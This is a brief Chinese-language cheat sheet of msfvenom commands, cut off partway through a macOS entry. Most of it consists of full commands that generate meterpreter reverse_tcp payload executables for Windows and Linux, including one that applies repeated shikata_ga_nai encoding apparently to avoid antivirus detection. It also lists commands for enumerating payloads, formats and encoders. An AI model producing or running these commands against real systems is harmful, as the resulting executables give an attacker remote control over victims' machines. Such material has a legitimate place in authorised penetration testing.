常用的命令:
普通生成:
msfvenom -p 有效载荷 -f 输出格式 -o 输出文件
msfvenom -p windows/meterpreter/reverse_tcp -f exe -o payload.exe查看支持的系统架构:
msfvenom -list archs
查看支持的系统平台:
msfvenom —list platforms
列出所有可用的payload;
msfvenom -l payload
列出所有的输出格式:
msfvenom -l formats
列出所有的加密方式:
msfvenom -l encrypt
列出所有的编码器:
msfvenom -l encoders
常见的生成格式:
1、windows:
msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp -i 3 -e x86/shikata_ga_nai -f exe -o payload.exe
2、Linux:
msfvenom --platform linux -a x86 -p linux/x86/meterpreter/reverse_tcp -f elf -o payload.elf
3、Mac:
msfvenom --platform osx -a x8